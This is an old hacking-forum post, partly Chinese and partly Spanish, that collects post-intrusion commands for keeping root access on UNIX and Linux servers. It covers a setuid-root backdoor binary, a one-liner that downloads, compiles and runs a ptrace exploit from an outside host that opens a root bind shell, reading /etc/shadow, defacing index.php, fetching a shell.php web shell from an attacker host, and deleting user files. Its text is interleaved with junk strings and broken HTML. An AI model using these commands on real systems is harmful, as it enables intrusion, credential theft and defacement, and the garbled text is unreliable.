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总结UNIX成为root以后保持权限的方法

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发表于 2005-2-4 23:57 |只看该作者 |倒序浏览
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<><FONT color=#ff0000>by:cnbird</FONT></P>& z5 [, N" P, Y. s- s
<>1.</P>- F9 O% ]4 z; R- u# n
<>[cnbird@localhost tmp]#id</P>  H) P* m2 x1 o, D% o9 L+ e
<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>
$ K4 X! ~  v4 c9 y& d0 A<>[cnbird@localhost tmp]#cp `which id ` .</P>
" D1 x) u$ E5 M: \, N2 Q- z. Q<>[cnbird@localhost tmp]#chown root ./id</P>
+ P8 e+ H. f8 W  ]<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>  h9 c# k+ U0 F9 h/ b7 D* v
<>[cnbird@localhost tmp]#ls -l ./id</P>
: ?1 L9 S( t- ?' @7 i4 ~: f. B<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>
# I" k+ x, ]! N+ `! i- I* z<>[cnbird@localhost tmp]#exit</P>
* u3 i/ R" [' y& ~8 \- T<>[cnbird@localhost tmp]$id</P>6 b  R7 ?! O% y, Q
<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>" @. k1 ]+ s: Y
<>[cnbird@localhost tmp]$./id </P>, @3 v, P1 y8 a" d
<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>: A; R1 w* ^2 ^# k
<>2.利用ptrace成为root的方法</P>
& @' Q4 E0 B) H<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace
& \* }+ K# j: O-&gt; Parent's PID is 2313. Child's PID is 2314.- q" a! O- s) a. }! F. C+ c4 n
-&gt; Attaching to 2315...# U# i8 g6 f& ^7 F- @9 L- I% \2 {
-&gt; Got the thread!!& A% E; J+ ?, U" H
-&gt; Waiting for the next signal...4 i/ r4 Y5 b9 t& U/ P
-&gt; Injecting shellcode at 0x4000e85d3 s9 v3 {8 y  q  j1 ~; D
-&gt; Bind root shell on port 24876... =p
- v6 y" F0 U3 G( S  ~-&gt; Detached from modprobe thread.7 Z( W" l% G; H( N+ Q) `: U
-&gt; Committing suicide.....</P>3 U( V/ A$ B; e# y; W! w7 _
<>[bash]# id5 j! e( o! [9 I4 K! ^/ w
uid=0(root) gid=0(root) groups=0(root)</P>
5 E& n1 B( Z( @; s) M7 O) w" h! W<>ara ver los dominios que hay en el server:$ t( }# S% i2 a) d
---------------------------------------------------------
( Q- r! e. g' O1 M5 n- Kcat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios9 K; R  F1 ]4 H# z2 `; n  f& _5 w
cat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios. w/ U! f" _+ a% K" b  [" L
cat /etc/localdomains &lt;&lt; Unicamente los dominios locales" s3 y6 f* h9 {% A
cat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio
1 h; R6 U$ J/ k0 O* J4 P' i  Dcat /etc/userdomains &lt;&lt; Este es el mas comun; g' R; G# a/ f$ K8 P) k7 k; D2 t7 G
---------------------------------------------------------</P>* {4 i1 j2 S9 }( Y# Y
<>ara ver la version de kernel:4 d1 ?6 i6 D( L- j, m" E( m& p9 k
---------------------------------------------------------4 ?% P- O9 @4 ]- s: w1 j
uname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.
% t8 q, o2 \! J( F- b1 T, o( J! A---------------------------------------------------------</P>, L+ v$ P1 ~" A
<>ara modificar un index ya existente:
- o( H" c# N9 i7 M" l; q# v' Q0 \# B# }---------------------------------------------------------
, j, X" c# l2 y" @# T3 j" ~$ [' f8 kecho "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido
" D$ P  W3 b" t8 U6 |---------------------------------------------------------</P>
6 j) [7 q  I) k<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:/ l$ X, T& k% {
---------------------------------------------------------
1 j8 W+ U/ p2 L1 o; d  ^6 bcd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit9 o" W2 [# e$ Y1 B6 ^: r
cd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
8 t9 {. a: p. h. |8 T1 Xcd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
$ g: M9 U  f9 C% Ncd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado".
: Y, y0 t: u+ P) v, c  A" lHasta aqui termina el proceso para un exploit.
. F+ u* c( i  X  ^8 M---------------------------------------------------------</P>; l! d: a; o  e0 R* Y! D
<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:
' G- ?- R$ W. c; x: {! E; {" H# ?---------------------------------------------------------
2 y1 ~1 f$ e" E, rcat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.; S  Y& x, r+ `+ L4 H
---------------------------------------------------------</P>
2 ^6 Q4 r( {  P' B, d6 [: U<>Borrar un Ficher& `/ ~5 e9 \) L- q
---------------------------------------------------------4 r( B! @% G: M; p1 I
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm2 [5 ^0 S" ]4 B
---------------------------------------------------------</P>( H: n. R  o7 Z0 v; k
<>Subir un ficher) n% Z; T( p% F1 A9 q
---------------------------------------------------------
- X0 G# \% c1 v% q2 i4 [cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>. |9 `& S* R5 i
<>( W1 Y' e; W' [: ~3 M) d/ ?
<CENTER></CENTER>
zan
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